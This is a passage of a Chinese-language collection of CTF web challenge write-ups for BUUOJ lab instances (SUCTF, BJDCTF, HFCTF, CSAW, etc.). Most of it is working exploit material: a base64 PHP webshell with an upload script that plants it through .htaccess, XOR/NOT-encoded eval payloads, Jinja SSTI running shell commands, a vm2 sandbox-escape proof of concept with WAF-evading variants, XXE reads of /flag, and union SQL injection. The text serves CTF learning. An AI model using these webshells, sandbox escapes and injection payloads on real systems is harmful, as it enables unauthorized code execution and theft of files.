  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]); 

unicode编码绕过正则匹配,因为json_decode时会把unicode编码转码

json格式的page传伪协议读flag

1
2
{"page":"php://filter/convert.base64-encode/resource=/flag"}
{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}

[SUCTF 2019]EasyWeb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

过滤了取反符号,只能异或来绕过写webshell

异或脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>
1
2
?.=${%80%80%80%80^%DF%C7%C5%D4}{%81}();&%81=phpinfo
//这里.和_一样的

非预期是直接搜flag就出来了

预期解利用get_the_flag函数

文件上传部分过滤了拓展名ph,而且把<?过滤了,但是php7不能用script标签绕过了

exif_imagetype不能简单用GIF89a绕过了,这里可以在.htaccess添加文件头

1
2
#define width 1
#define height 1
1
2
3
或者在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

利用php_value auto_append_file指定文件包含,然后就可以利用base64来进行绕过<?标签限制

1
2
3
4
#define width 1
#define height 1
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.jpg"

然后在1.jpg里面写入base64的马

1
2
GIF89abb
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4

这里因为base64解密是4位一解码,我们补上两个b凑四位

利用脚本上传

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.jpg"
"""
shell = b"GIF89abbPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4"
url = "http://0e57dfd9-bd66-4101-8c76-8baa918b86bb.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.jpg',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

出来路径

1
2
upload/tmp_fc3f8d0d99ccdde85c8cfc624fe94c32/.htaccess
upload/tmp_fc3f8d0d99ccdde85c8cfc624fe94c32/shell.jpg

蚁剑连接插件绕过

image-20250405003120497

或者写文件来读根目录下文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
?>

读到之后

1
echo file_get_contents("/THis_Is_tHe_F14g");

[CISCN2019 华东南赛区]Double Secret

目录扫描扫出/console

image-20250405134111628

得算pin码了,但是信息不够

回到原来界面,访问/secret路由

传参secret,出现报错

image-20250405135959717

rc4加密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if(secret==None):
       return 'Tell me your secret.I will encrypt it so others can\'t see'
   rc=rc4_Modified.RC4("HereIsTreasure")   #解密
   deS=rc.do_crypt(secret)

   a=render_template_string(safe(deS))

   if 'ciscn' in a.lower():
       return 'flag detected!'
   return a

打ssti然后用rc4加密,用cyberchef加密

或者上脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")
1
2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag.txt").read()')}}

image-20250405143658043

[GKCTF 2021]easycms

目录扫描admin.php

弱口令admin/12345登入

在设计这里自定义可以编辑php代码

image-20250405145501063

/var/www/html/system/tmp/tgom.txt

新建一个文件,上传后编辑

文件名为../../../../../system/tmp/tgom

然后回去编辑就行了,回到主页就能看到flag

另一种做法,导出主题

会提示下载,复制下载连接

1
http://18f6826c-975b-4018-8d7c-014a078b56b0.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

把后面这串base64解码

1
/var/www/html/system/tmp/theme/default/1.zip

我们改为/flag就行了

然后下载得到flag

[BJDCTF2020]EzPHP

看源码有base32编码,解码得1nD3x.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} 
?>

第一层

1
2
3
4
if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  

这一层用url编码绕过

1
?%73hana=1

第二层

1
2
if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')

在传入参数最后加入换行符就能绕过%0a

1
?%64ebu=%61qua_is_%63ute%0a

第三层

1
2
3
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))

$_REQUEST在同时接收GET和POST参数时,POST优先级更高

所以只需要POST相同的参数即可绕过。

第四层

1
if (file_get_contents($file) !== 'debu_debu_aqua')

用data伪协议或者php://input写入

第五层

1
if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

数组绕过

1
?shana[]=1&passwd[]=2

第六层

1
2
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )

$code$arg可控,利用$code('',$arg)进行create_function注入

1
2
3
4
5
6
7
8
9
在上一阶段的extract($_GET["flag"]);处进行变量覆盖,从而使变量$code和变量$arg可控
首先闭合原有的语句:
flag[arg]=}
很多函数被禁用,先使用get_defined_vars()将所有变量与值都进行输出
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
// 等价于
function{
}
var_dump(get_defined_vars());//}

得到rea1fl4g.php

利用require(),来代替include()

1
flag[code]=create_function&flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//

得到假flag

url取反绕过

1
2
3
echo urlencode(~'php://filter/read=convert.base64-encode/resource=rea1fl4g.php');
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
替换刚才的var_dump(get_defined_vars())被编码的部分即可。

最终payload

1
2
3
4
5
6
7
// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function

?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function

// POST
debu=1&file=1

[GYCTF2020]EasyThinking

利用thinkphp6.0往session进行任意文件写入的漏洞

构造PHPSESSID的值,改值长度为32且为string型,然后就会在/runtime/session/目录下产生一个php文件

image-20250405201547619

然后访问

1
/runtime/session/sess_1111111111111111111111111111.php

蚁剑连接,插件绕过

[GXYCTF2019]StrongestMind

爬虫

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
import time

url = 'http://8131dc42-f253-4d5f-b190-58956c615ca6.node5.buuoj.cn:81/'
session = requests.session()
req = session.get(url).text
flag = ""

for i in range(1010):
    try:
        result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>",req)#获取[数字]
        result = "".join(result)#提取字符串
        result = eval(result)#运算
        print("time: "+ str(i) +"   "+"result: "+ str(result))

        data = {"answer":result}
        req = session.post(url,data=data).text
        if "flag{" in req:
            print(re.search("flag{.*}", req).group(0)[:50])
            break
        time.sleep(0.1)#防止访问太快断开连接
    except:
        print("[-]")

[HFCTF2020]JustEscape

打开界面有run.php

下面又说真的是php吗

1
2
3
4
5
6
7
8
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

考虑到eval函数不止php有,nodejs也有

Error().stack看报错信息

代码篇 - Error Stack - 《Node.js 调试指南》 - 书栈网 · BookStack

1
run.php?code=Error().stack
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Error
    at vm.js:1:1
    at Script.runInContext (vm.js:131:20)
    at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
    at /app/server.js:51:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

vm沙箱逃逸

用github有现成的poc

Breakout in v3.8.3 · Issue #225 · patriksimek/vm2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
One can break out of the sandbox via:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

And another more game breaking one:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

直接用会被waf

过滤了

1
['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']

官方wp是在关键字上用两个反引号绕过,然后url编码一下

1
2
3
比如prototype变成`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`
f.constructor("return process")();
f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();
1
/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})()

另一种办法是

1
2
prototype
`${`${`prototyp`}e`}`

把关键字全部替换成这种格式

1
2
3
4
5
6
7
8
(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

[SUCTF 2018]GetShell

无字母数字webshell

1
2
3
4
5
6
7
8
<?php
$_=[]; 
$__=$_.$_; 
$_=($_==$__);
$__=($_==$_);
$___ = ~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];
$____ = ~[$__].~[$__].~[$__].~[$__].~[$__];
$____($$__[_]);

system($_POST[_])

读环境变量

[b01lers2020]Life on Mars

sql注入

1
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(schema_name)/**/from/**/information_schema.schemata&{}&_=1745230942307
1
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='alien_code'
1
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='code'
1
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(code)from/**/alien_code.code

EasyBypass

ez

1
/?comm1=";sort+/fla?;"&comm2=1

[极客大挑战 2020]Roamphp1-Welcome

post传

1
roam1[]=1&roam2[]=2

[CSAWQual 2019]Web_Unagi

有waf的xxe,题目给格式

1
2
3
4
5
6
7
8
9
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>

直接全部变成&xxe;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>&xxe;</username>
        <password>&xxe;</password>
        <name>&xxe;</name>
        <email>&xxe;</email>  
        <group>&xxe;</group>
        <intro>&xxe;</intro>
    </user>
</users>

这里加的intro是能读全部的,但是被waf了,编码绕过

1
iconv -f utf8 -t utf-16 2.xml>1.xml

[MRCTF2020]Ezaudit

php_mt_seed爆种子

先将密钥转换

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)
1
./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

然后根据题目逻辑算私钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
mt_srand(1775196155);
//公钥
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
        $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
}
//私钥
function private_key($length = 12) {

    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
        $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
}
echo public_key();
echo private_key();
?>

版本要是前下算种子的版本

然后万能密码登入

1
2
3
crispr
1' or true#
XuNhoueCDCGc

[BSidesCF 2019]SVGMagic

利用svg标签来读flag

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="200" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

/proc/self/cwd表示当前目录下运行的文件

[ISITDTU 2019]EasyPHP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>
1
2
3
\x00- 0-9                       匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops              匹配这些字符
\x7F                            匹配DEL(\x7F)字符

下面这个会统计用过的不同字符,超过13个被waf

利用字符串异或

先确定自己想执行的语句,比如phpinfo,然后定一个参考字符串,让phpinfo和它异或,就可以得到想要的输入,如果得到的结果不符合要求,再微调参考字符串

1
2
3
4
5
6
p:%8f^%ff
h:%97^%ff
i:%96^%ff
n:%91^%ff
f:%99^%ff
o:%90^%ff

脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
target = "phpinfo"
standard = 0xff

dicts = {}
for i in target:
    dicts[i] = hex(ord(i)^standard).replace('0x','%')

res = ''
for i in target:
    res = res+dicts[i]
print(res+'^'+"%ff"*len(target))
print(len(set(res+'^'+"%ff"*len(target))))
1
2
print_r(scandir('.'))
(%8f%8d%96%91%8b%a0%8d^%ff%ff%ff%ff%ff%ff%ff)((%8c%9c%9e%91%9b%96%8d^%ff%ff%ff%ff%ff%ff%ff)((%d1^%ff)));

要找到可以替换的,即在内部可以互相异或出来的,才能使重复的变少

最后

1
2
print_r(scandir('.'))
(%8f%8d%9c%91%8b%a0%8d^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%9b%ff%ff%ff%ff^%ff%ff%91%ff%ff%ff%ff)((%9c%9c%8d%91%9b%9c%8d^%ff%ff%ff%ff%ff%ff%ff^%9b%ff%9c%ff%ff%9b%ff^%8b%ff%8f%ff%ff%91%ff)((%d1^%ff)));
1
2
readfile(end(scandir('.')))
((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

[羊城杯2020]easyphp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

这里利用到之前学习hatccess文件的作用,包含index.php,反斜杠绕过正则

1
2
3
php_value auto_prepend_fi\
le .htaccess
#<?php system('ls /');?>\

换行用url编码一下

1
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20.htaccess%0A%23%3C?php%20system('ls%20/');?%3E\

或者利用上次学到的.htaccess文件绕过prce限制的方法写马

1
2
3
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \
1
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
1
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

[FireshellCTF2020]Caas

c语言编译报错

利用#include来文件包含

1
#include "/etc/passwd"

直接包含flag

1
#include "/flag"

[HarekazeCTF2019]Avatar Uploader 1

原题给了源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
  error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
  error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

这里用到finfo_file检测图片类型,然后getimagesize判断文件像素大小,并且再进行一次类型判断,如果不是 png 类型就给出 flag,我们直接010构造一个只有png头的图片,去misc题里面找一个png图片,把文件头下面全删了

image-20250424143945904

[SCTF2019]Flag Shop

目录扫描robots.txt

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
